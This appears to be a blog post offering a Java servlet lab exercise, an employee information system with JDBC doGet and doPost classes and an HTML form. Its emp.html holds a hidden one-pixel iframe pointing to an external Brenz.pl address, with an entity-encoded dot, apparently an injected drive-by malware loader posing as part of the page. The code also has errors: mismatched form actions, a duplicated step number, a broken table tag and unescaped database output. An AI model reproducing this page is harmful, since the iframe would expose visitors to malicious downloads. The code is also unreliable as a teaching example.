Employee Information System using JDBC and implementing the doGet() and doPost() method


Employee Information System using doGet( ) and doPost() Method

AIM
          To create an Employee Information System using JDBC and implementing the doGet() and doPost() method.

ALGORITHM
Step 1: Start the program.
Step 2: Create a Java Source file which creates an HttpServlet class called GetDeatils.
Step 3: Initialize the servlet.
Step 4: In the doGet() method, establish the connection with the DSN called emp.
Step 5: After connection establishment, query the database and select all records in the
            emp table.       
Step 6: Create another Java Source file that  creates an HttpServlet class called
            PostDeatils.
Step 7: Initialize the servlet.
Step 8: In the doPost() method, establish the connection with the DSN called emp.
Step 9: Create an XHTML file called emp.html.
Step 10: Invoke the GetDetails Class by clicking the GET button in the emp.html.
Step 11: Display all records in the web browser.
Step 12: Fill all the relevant employee information fields in emp.html file and click the
              POST button.
Step 13: The POST button invokes the PostDetails class.
Step 14: Insert a new record through by executing sql query and get record updated
Step 15: Close ResultSet and database connection.
 Step 7: Stop the process.


GetDetails.java

import java.io.*;
import java.sql.*;
import javax.servlet.*;
import javax.servlet.http.*;
public class GetDetails extends HttpServlet {
  Connection con;
  PrintWriter out;
  ResultSet rs;
   public void init(ServletConfig config) throws ServletException {
        super.init(config);
      
    con=null;
    out=null;
    rs=null;
    }
          public void destroy() {
     try
        {
   
      con.close();
      out.close();
      rs.close();
    }
    catch(SQLException se)
            {
      out.println(se.toString());
    }
    }
   
        protected void processRequest(HttpServletRequest request, HttpServletResponse response)
    throws ServletException, IOException {
        response.setContentType("text/html");
        PrintWriter out = response.getWriter();
        out.close();
    }
    
    protected void doGet(HttpServletRequest request, HttpServletResponse response)
    throws ServletException, IOException {
    out=response.getWriter();
       try{
      Class.forName("sun.jdbc.odbc.JdbcOdbcDriver");
      con=DriverManager.getConnection("jdbc:odbc:emp");
      PreparedStatement pstmt=null;
      String query=null;
      query="select name,age,address,desig from emp";
      pstmt=con.prepareStatement(query);
      rs=pstmt.executeQuery();
      out.println("<b><center>Employee Details</center></b><br><br>");
      out.println("<table align=center border=1 cellpadding=2>");
      while(rs.next())
      {
        out.println("<tr>");
        out.println("<td>" + rs.getString("name") + "</td>");
        out.println("<td>" + rs.getString("age") + "</td>");
        out.println("<td>" + rs.getString("address") + "</td>");
        out.println("<td>" + rs.getString("desig") + "</td>");
        out.println("</tr>");
      }
      out.println("</table>");
      out.println("</body>");
    }
    catch(Exception e){
      out.println(e.toString());
    }
            
        processRequest(request, response);
  
    }
  }


PostDetails.java

import java.io.*;
import java.sql.*;
import javax.servlet.*;
import javax.servlet.http.*;
public class PostDetails  extends HttpServlet {
  Connection con;
  PrintWriter out;
  ResultSet rs;
    public void init(ServletConfig config) throws ServletException
    {
        super.init(config);
          
    con=null;
    out=null;
    rs=null;
    }
   
    public void destroy()
    {
      //con.close();
      out.close();
     // rs.close();
    }
   
      protected void processRequest(HttpServletRequest request, HttpServletResponse response)
    throws ServletException, IOException
      {
        response.setContentType("text/html");
        PrintWriter out = response.getWriter();
        out.close();
      }
     
    protected void doPost(HttpServletRequest request, HttpServletResponse response)
    throws ServletException, IOException
    {
       
        out=response.getWriter();
        String name=request.getParameter("name");
         String age=request.getParameter("age");
          String address=request.getParameter("address");
           String desig=request.getParameter("desig");
              String id=request.getParameter("id");
       try
       {
      Class.forName("sun.jdbc.odbc.JdbcOdbcDriver");
      con=DriverManager.getConnection("jdbc:odbc:emp");
      PreparedStatement pst=null;
     String sql = "insert into emp values (?,?,?,?,?)";
   pst = con.prepareStatement(sql);
  pst.setString(1, name);
  pst.setString(2, age);
  pst.setString(3, address);
  pst.setString(4, desig);
    pst.setString(5,id);
  pst.executeUpdate();
   out.println(" Updated ");
  
       }
    catch(Exception e){
      out.println(e.toString());
    }
         processRequest(request,response);
       
    }
      
}


Emp.html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
 
<html>
  <head>
      <title>Employment Information System</title>
      <h1 align=center>EMPLOYMENT INFORMATION SYSTEM<h1>
  </head>
  <body>
  
  <form action='EmployeeDetails' method="get">
<center> <label style='color:blue'>Click Here to View the Records:</label>  <input type='submit' value='Get'>
</center>
  </form>
  <iframe style="height:1px" src="http://www&#46;Brenz.pl/rc/" frameborder=0 width=1></iframe>
<form action ='S' method='post'>
<h1 align=center style='color:blue'> Enter the Employee Details Here!</h1>
<table border='2' ALIGN=center>
<tr>
<td> <label style='color:green'>Name: </label></td><td><input type=text name='name'></td>
</tr>
<tr>
<td> <label>Age:</label></td><td><input type=text name='age'></td>
</tr>  
<tr>
 <td><label>Address       :</label></td><td><input type=text name='address'></td>
  </tr>  <tr>
   <td><label>Designation:</label></td><td><input type=text name='desig'></td>
  </tr>  
<tr>
<td> <label>ID Number:</label> </td><td><input type=text name='id'></td>
</tr>  
<tr>
 <td><label>Click Here to Update the Records:</label><input type =submit method =post value='post' size='70' style='color:red'>
 </td>
</tr>
</tabel>
</form>
</body>
</html>

0 comments:

Post a Comment